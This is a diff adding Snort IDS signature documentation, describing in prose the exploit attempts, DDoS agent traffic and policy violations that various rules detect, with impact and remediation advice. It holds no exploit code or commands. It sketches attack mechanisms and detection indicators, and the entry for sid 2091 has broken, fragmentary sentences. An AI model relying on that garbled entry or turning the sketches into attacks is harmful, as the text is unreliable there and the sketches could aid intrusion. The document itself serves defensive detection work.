+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade the application to the latest non-affected version of the
+software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3056.txt
+++ snort-2.8.5.2/doc/signatures/3056.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3056
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/796.txt
+++ snort-2.8.5.2/doc/signatures/796.txt
@@ -0,0 +1,65 @@
+
+Rule:  
+
+--
+Sid:
+796
+
+--
+Summary:
+This rule has been placed in deleted.rules. It has been superceded by
+sid 721.
+
+--
+Impact:
+Mail worms may spread rapidly because users execute them.
+
+--
+Detailed Information:
+Windows systems are often configured not to display file extensions.
+By adding a second extension, users get confused and think that an
+executable is an EXCEL spreadsheet - e.g. businnesplan.xls.vbs gets displayed as
+businessplan.xls but is a visual basic script and not an EXCEL spreadsheet.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Famous worms (ILOVEYOU, KOURNIKOVA) are based on this method. Warning:
+An EXCEL spreadsheet is in now way more secure than a visual basic script.
+Wrongly configured antivirus software my ignore this files and
+let a macro virus pass.
+
+--
+Ease of Attack:
+Very easy. One needs to attach a file and hope that it gets executed.
+
+--
+False Positives:
+None Known
+Could be an error on sender's side.
+
+--
+False Negatives:
+None Known
+-
+
+--
+Corrective Action:
+Use antivirus software. Configure mail clients securely, especially when
+using windows desktops. Educate your mail users. Deny all attachments at
+the gateway if you can.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by tobias.haecker@to.com
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+See websites of antivirus companies.
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000574.txt
+++ snort-2.8.5.2/doc/signatures/100000574.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000574
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_add.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "cat_add.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1846.txt
+++ snort-2.8.5.2/doc/signatures/1846.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1846
+
+--
+Summary:
+This event is generated when network traffic indicating the use of an
+application or service that may violate a corporate security policy.
+
+--
+Impact:
+This may be a violation of corporate policy since some applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation. In
+some instances this event may indicate behavior contrary to best
+security practices.
+
+--
+Detailed Information:
+This event may indicate a violation of corporate policy. It may also
+indicate the use of services or applications that may be the antithesis
+of best security practices.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios:
+Violation of corporate security policy can manifest serious risk to
+company assets.
+
+--
+Ease of Attack:
+Not applicable
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure adherence to best security practices and strict adherence to
+corporate policy
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000125.txt
+++ snort-2.8.5.2/doc/signatures/100000125.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000125
+
+-- 
+Summary: 
+This event is generated when an attempt is made to overflow a buffer in the 
+SafeNet Sentinel License Manager.
+
+-- 
+
+Impact: 
+The affected server will be crashed, and remote code execution with system 
+privileges is possible.
+
+--
+Detailed Information:
+If the SafeNet Sentinel License Manager recieves a packet containing over 1,000 
+bytes, a buffer will be overflowed. If properly crafted data is sent, arbitrary 
+code may be executed with system privileges.
+
+--
+Affected Systems:
+SafeNet Sentinel License Manager 7.2.0.2
+
+--
+
+Attack Scenarios: 
+A script must be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as an attack is included as part of the Metasploit vulnerability 
+testing framework.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Upgrade to version 8.0 of the affected software.
+
+--
+Contributors: 
+Judy Novak <judy.novak@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2046.txt
+++ snort-2.8.5.2/doc/signatures/2046.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2046
+
+--
+Summary:
+The IMAP daemon distributed by Washington University (Wu-imapd) is
+subject to a buffer overflow condition which may result in a denial of service.
+
+--
+Impact:
+Possible code execution and Denial of Service.
+
+--
+Detailed Information:
+If a valid user of an IMAP service using wu-imapd makes a partial
+request of mailbox attributes, a buffer overflow occurs in the daemon
+resulting in the crash of the process.
+
+Execution of arbitrary code may be possible with the privileges of the
+user running imapd.
+
+Exploits are widely available for this vulnerability.
+
+--
+Affected Systems:
+	Washington University wu-imapd 2000.0 c
+	Washington University wu-imapd 2000.0 b
+	Washington University wu-imapd 2000.0 a
+	Washington University wu-imapd 2000.0
+	Washington University wu-imapd 2001.0 a
+	Washington University wu-imapd 2001.0
+
+--
+Attack Scenarios:
+The attacker could use one of the available exploits or when logged in 
+as a valid user, make a partial request for the mailbox attributes.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches for the affected systems.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1744.txt
+++ snort-2.8.5.2/doc/signatures/1744.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1744
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/388.txt
+++ snort-2.8.5.2/doc/signatures/388.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+
+Sid:
+388
+
+--
+
+Summary:
+This event is generated when an ICMP Address Mask Request message is found on the network.  ICMP Address Mask Requests are used for automatically determining the 32-bit subnet mask for the network.
+
+--
+
+Impact:
+Attacks may use an ICMP address Mask Request to determine the subnet mask of the network.  This information can be used to help develope a network diagram in lue of more focused attacks.
+--
+
+Detailed Information:
+ICMP Address Mask Requests are defined in RFC 950 as the third method hosts may support for determing the address mask correspoding to its IP address.  In most implementations this method is not supported, and should not be normal traffic on most networks.  
+
+--
+
+Attack Scenarios:
+Attackers may use this ICMP Type to gather information about the subnet masks of a given network.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate ICMP Address Mask Requests.
+--
+
+False Positives:
+Legitimate uses of ICMP Address Mask Requests exist.  Some hosts my implement this method as the final fall back option after static configuration and dynamic address mask configuration has failed.
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 17 should be blocked at the upstream firewall.  This type of ICMP request should never originate from a host outside of the protected network.
+--
+
+Contributors:
+Original Rule wirter unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-2.txt
+++ snort-2.8.5.2/doc/signatures/111-2.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+111-2
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. Possible attempt to close a session by a third party.
+
+--
+Detailed Information:
+This event indicates that the pre-processor stream4 has detected an out
+of sequence packet with the RST flag set or a packet without the
+required RST and ACK flags in a TCP session. This is abnormal behavior
+and may constitute an attack or be an indicator of spurious activity on
+a network.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may inject packets with the RST flag set into a session in
+an attempt to close the session and cause a Denial of Service (DoS)
+between server and client. This technique may also be used in session
+hijacking attempts.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1833.txt
+++ snort-2.8.5.2/doc/signatures/1833.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1833
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "naked lesbians".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "naked lesbians".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000320.txt
+++ snort-2.8.5.2/doc/signatures/100000320.txt
@@ -0,0 +1,78 @@
+
+
+Rule:
+
+--
+Sid:
+100000320
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ScozNet ScozNews" application running on a 
+webserver. Access to the file "functions.php" using a remote file being passed 
+as the "main_path" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "main_path" parameter in the "functions.php" script used 
+by the "ScozNet ScozNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ScozNet ScozNews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000606.txt
+++ snort-2.8.5.2/doc/signatures/100000606.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000606
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "lang_modify.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "lang_modify.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/589.txt
+++ snort-2.8.5.2/doc/signatures/589.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+589
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) yppasswd is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port yppasswd is using.  Attackers can also learn what versions of the yppasswd protocol are accepted by yppasswd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as yppasswd run.  The yppasswd RPC service handles password change requests from the yppasswd client program.  This client program is used to change a user password in Network Information Service (NIS) environments where a centralized database exists to distribute passwords throughout a network.  Multiple vulnerabilities are associated with the yppasswd RPC service.
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where yppasswd runs.  This may be a precursor to querying yppasswd for usage statistics.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access yppasswd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for yppasswd, not probes of the yppasswd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the yppasswd service itself. An attacker may attempt to go directly to the yppasswd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS14
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3108.txt
+++ snort-2.8.5.2/doc/signatures/3108.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3108
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3383.txt
+++ snort-2.8.5.2/doc/signatures/3383.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3383
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000522.txt
+++ snort-2.8.5.2/doc/signatures/100000522.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000522
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "The Edge eCommerce Shop" application running on 
+a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "cart_id" parameter in the "productDetail.php" 
+script used by the "The Edge eCommerce Shop" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using The Edge eCommerce Shop
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3243.txt
+++ snort-2.8.5.2/doc/signatures/3243.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3243
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000721.txt
+++ snort-2.8.5.2/doc/signatures/100000721.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000721
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "login.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "login.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2091.txt
+++ snort-2.8.5.2/doc/signatures/2091.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2091
+
+--
+Summary:
+server is attempted.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in a component used by the Microsoft Internet 
+Information Server 5.0 implementation of WebDAV. A specially crafted 
+overly long URI when processed by the server, triggers a buffer overflow
+in ntdll.dll which results in a system compromise of the targeted host.
+
+The exploit only affects versions of IIS 5.0 running on Microsoft 
+Windows 2000 prior to service pack 3. WebDAV is enabled by default on 
+that platform.
+
+vulnerabilities using the security scanner nessus.
+
+--
+Affected Systems:
+Microsoft Internet Information Server 5.0 WebDAV on Windows 2000 prior 
+to Service Pack 3.
+
+--
+Attack Scenarios:
+The attacker is using nessus.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patch or service pack.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=11412
+
+CERT:
+http://www.cert.org/advisories/CA-2003-09.html
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0109
+
+Bugtraq:
+http://www.securityfocus.com/bid/7116
+
+Microsoft Corporation:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms03-007.asp
+http://www.microsoft.com/security/security_bulletins/ms03-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/224.txt
+++ snort-2.8.5.2/doc/signatures/224.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+224
+
+--
+Summary:
+This traffic represents a Stacheldraht agent-to-handler communication to test whether or not the network on which the agent runs is allowed to send an outgoing packet with a spoofed source IP.
+
+--
+Impact:
+This event indicates that the Stacheldraht agent is running on a host on
+the monitored network.
+
+--
+Detailed Information:
+The Stacheldraht Distributed Denial of Service (DDoS) attack uses a tiered structure of compromised hosts to coordinate and participate in a denial of service attack.  There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack.  In order for an agent host to make a good participant in the distributed denial of service it must be able to spoof source IPs to elude detection.  After a host becomes an agent, a test is conducted such that an echo request packet with the source IP of 3.3.3.3 with an ICMP identification number of 666 can be sent to the handler host.
+
+--
+Affected Systems:
+Any compromised host.
+
+--
+Attack Scenarios:
+If a host has been compromised and become a Stacheldraht agent, the compromised host will be tested to see if it can spoof a source IP and making it an acceptable agent.
+
+
+--
+Ease of Attack:
+Simple. Stacheldraht code is available for use.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
